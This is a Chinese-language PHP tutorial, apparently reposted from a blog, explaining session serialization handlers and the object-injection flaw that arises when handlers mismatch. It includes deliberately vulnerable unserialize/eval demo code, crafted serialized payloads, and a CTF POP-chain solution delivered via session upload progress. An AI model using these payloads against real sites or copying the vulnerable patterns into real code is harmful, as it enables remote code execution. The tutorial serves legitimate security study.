Php學習之SESSION還原序列化機制

來源:互聯網
上載者:User

標籤:names   儲存   ogre   效果   上傳檔案   ssi   public   文章   .com   

在php.ini中存在三項配置項:
session.save_path="" --設定session的儲存路徑
session.save_handler="" --設定使用者自訂儲存函數,如果想使用PHP語言內建會話儲存機制之外的可以使用本函數(資料庫等方式)
session.auto_start boolen --指定會話模組是否在請求開始時啟動一個會話,預設為0不啟動
session.serialize_handler string --定義用來序列化/還原序列化的處理器名字。預設使用php
以上的選項就是與PHP中的Session儲存和序列話儲存有關的選項。
在使用xampp組件安裝中,上述的配置項的設定如下:
session.save_path="D:\xampp\tmp" 表明所有的session檔案都是儲存在xampp/tmp下
session.save_handler=files 表明session是以檔案的方式來進行儲存的
session.auto_start=0 表明預設不啟動session
session.serialize_handler=php 表明session的預設序列話引擎使用的是php序列話引擎
在上述的配置中, session.serialize_handler 是用來設定session的序列話引擎的,除了預設的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的儲存方式不相同。
· php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值
· php:儲存方式是,鍵名+豎線+經過serialize()函數序列處理的值
· php_serialize(php>5.5.4):儲存方式是,經過serialize()函數序列化處理的值
在PHP中預設使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set(’session.serialize_handler’, ’需要設定的引擎’); 。範例程式碼如下:
<?php
ini_set(’session.serialize_handler’, ’php_serialize’);
session_start();
// do something
儲存機制
php中的session中的內容並不是放在記憶體中的,而是以檔案的方式來儲存的,儲存方式就是由配置項session.save_handler 來進行確定的,預設是以檔案的方式儲存。
儲存的檔案是以 sess_sessionid 來進行命名的,檔案的內容就是session值的序列話之後的內容。
假設我們的環境是xampp,那麼預設配置如上所述。
在預設配置情況下:
<?php
session_start()
$_SESSION[’name’] = ’spoock’;
var_dump();
?>
最後的session的儲存和顯示如下:

可以看到PHPSESSID的值是 jo86ud4jfvu81mbg28sl2s56c2 ,而在 xampp/tmp 下儲存的檔案名稱是sess_jo86ud4jfvu81mbg28sl2s56c2 ,檔案的內容是 name|s:6:"spoock"; 。name是索引值, s:6:"spoock"; 是serialize("spoock") 的結果。
在php_serialize引擎下:
<?php
ini_set(’session.serialize_handler’, ’php_serialize’);
session_start();
$_SESSION[’name’] = ’spoock’;
var_dump();
?>
SESSION檔案的內容是 a:1:{s:4:"name";s:6:"spoock";} 。 a:1 是使用php_serialize進行序列話都會加上。同時使用php_serialize會將session中的key和value都會進行序列化。
在php_binary引擎下:
<?php
ini_set(’session.serialize_handler’, ’php_binary’);
session_start();
$_SESSION[’name’] = ’spoock’;
var_dump();
?>
SESSION檔案的內容是 names:6:"spoock"; 。由於 name 的長度是4,4在ASCII表中對應的就是 EOT 。根據php_binary的儲存規則,最後就是 names:6:"spoock";。(突然發現ASCII的值為4的字元無法在網頁上面顯示,這個大家自行去查ASCII表吧)
序列化簡單利用
test.php
<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET[’a’]);
?>
在11行對傳入的參數進行了序列化。我們可以通過傳入一個特定的字串,還原序列化為syclover的一個樣本,那麼就可以執行eval()方法。我們訪問 localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";} 。那麼還原序列化得到的內容是:
object(syclover)[1]
public ’func’ => string ’echo "spoock";’ (length=14)
最後頁面輸出的就是spoock,說明最後執行了我們定義的 echo "spoock"; 方法。
這就是一個簡單的序列化的漏洞的示範
PHP Session中的序列化危害
PHP中的Session的實現是沒有的問題,危害主要是由於程式員的Session使用不當而引起的。
如果在PHP在還原序列化儲存的$_SESSION資料時使用的引擎和序列化使用的引擎不一樣,會導致資料無法正確第還原序列化。通過精心構造的資料包,就可以繞過程式的驗證或者是執行一些系統的方法。例如:
$_SESSION[’ryat’] = ’|O:11:"PeopleClass":0:{}’;
上述的$_SESSION的資料使用 php_serialize ,那麼最後的儲存的內容就是 a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";} 。
但是我們在進行讀取的時候,選擇的是 php ,那麼最後讀取的內容是:
array (size=1)
’a:1:{s:6:"spoock";s:24:"’ =>
object(__PHP_Incomplete_Class)[1]
public ’__PHP_Incomplete_Class_Name’ => string ’PeopleClass’ (length=11)
這是因為當使用php引擎的時候,php引擎會以 | 作為作為key和value的分隔字元,那麼就會將 a:1:{s:6:"spoock";s:24:" 作為SESSION的key,將 O:11:"PeopleClass":0:{} 作為value,然後進行還原序列化,最後就會得到PeopleClas這個類。
這種由於序列話化和還原序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。
實際利用
存在s1.php和us2.php,2個檔案所使用的SESSION的引擎不一樣,就形成了一個漏洞、
s1.php,使用php_serialize來處理session
<?php
ini_set(’session.serialize_handler’, ’php_serialize’);
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php來處理session
ini_set(’session.serialize_handler’, ’php’);
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = ’phpinfo();’;
}
function __destruct() {
eval($this->hi);
}
}
當訪問s1.php時,提交如下的資料:
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此時傳入的資料會按照 php_serialize 來進行序列化。
此時訪問us2.php時,頁面輸出, spoock 成功執行了我們構造的函數。因為在訪問us2.php時,程式會按照 php來還原序列化SESSION中的資料,此時就會還原序列化偽造的資料,就會執行個體化lemon對象,最後就會執行解構函式中的eval()方法。
CTF
在安恒杯中的一道題目就考察了這個知識點。題目中的關鍵代碼如下:
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER[’PHP_SELF’])));
//show_source(__FILE__."www1.qixoo.com");
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
檔案".$this->varr."存在
";
}
echo "
這是foo1的解構函式
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = ’1234567890’;
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
這是foo2的解構函式
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
這是foo3的解構函式
";
}
}
?>
index.php
<?php
ini_set(’session.serialize_handler’, ’php’);
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
通過代碼發現,我們最終是要通過foo3中的execute來執行我們自訂的函數。
那麼我們首先在本地搭建環境,構造我們需要執行的自訂的函數。如下:
myindex.php
<?php
class foo3{
public $varr=’echo "spoock";’;
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = ’1234567890’;
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>
在foo1中的建構函式中定義$varr的值為foo2的執行個體,在foo2中定義$obj為foo3的執行個體,在foo3中定義$varr的值為echo "spoock" 。最終得到的序列話的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
這樣當上面的序列話的值寫入到伺服器端,然後再訪問伺服器的index.php,最終就會執行我們預先定義的 echo "spoock"; 的方法了。
寫入的方式主要是利用PHP中 Session Upload Progress 來進行設定,具體為,在上傳檔案時,如果POST一個名為PHP_SESSION_UPLOAD_PROGRESS的變數,就可以將filename的值賦值到session中,上傳的頁面的寫法如下:
表單頂端
表單底端
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
最後就會將檔案名稱寫入到session中,具體的實現細節可以參考PHP手冊。
那麼最終寫入的檔案名稱是 |O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}} 。注意與本地還原序列化不一樣的地方是要在最前方加上 |
但是我在進行本地測試的時候,發現無法實現安恒這道題目所實現的效果,但是最終的原理是一樣的。
總結
通過對PHP中的SESSION的分析,對PHP中的SESSION的實現原理有了更加深刻的認識。這個PHP的SESSION問題也是一個很好的問題。上述的這篇文章不僅使大家PHP中的SESSION的序列化漏洞有一個認識,也有助於程式員加強在PHP中的SESSION機制的理解。

Php學習之SESSION還原序列化機制

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.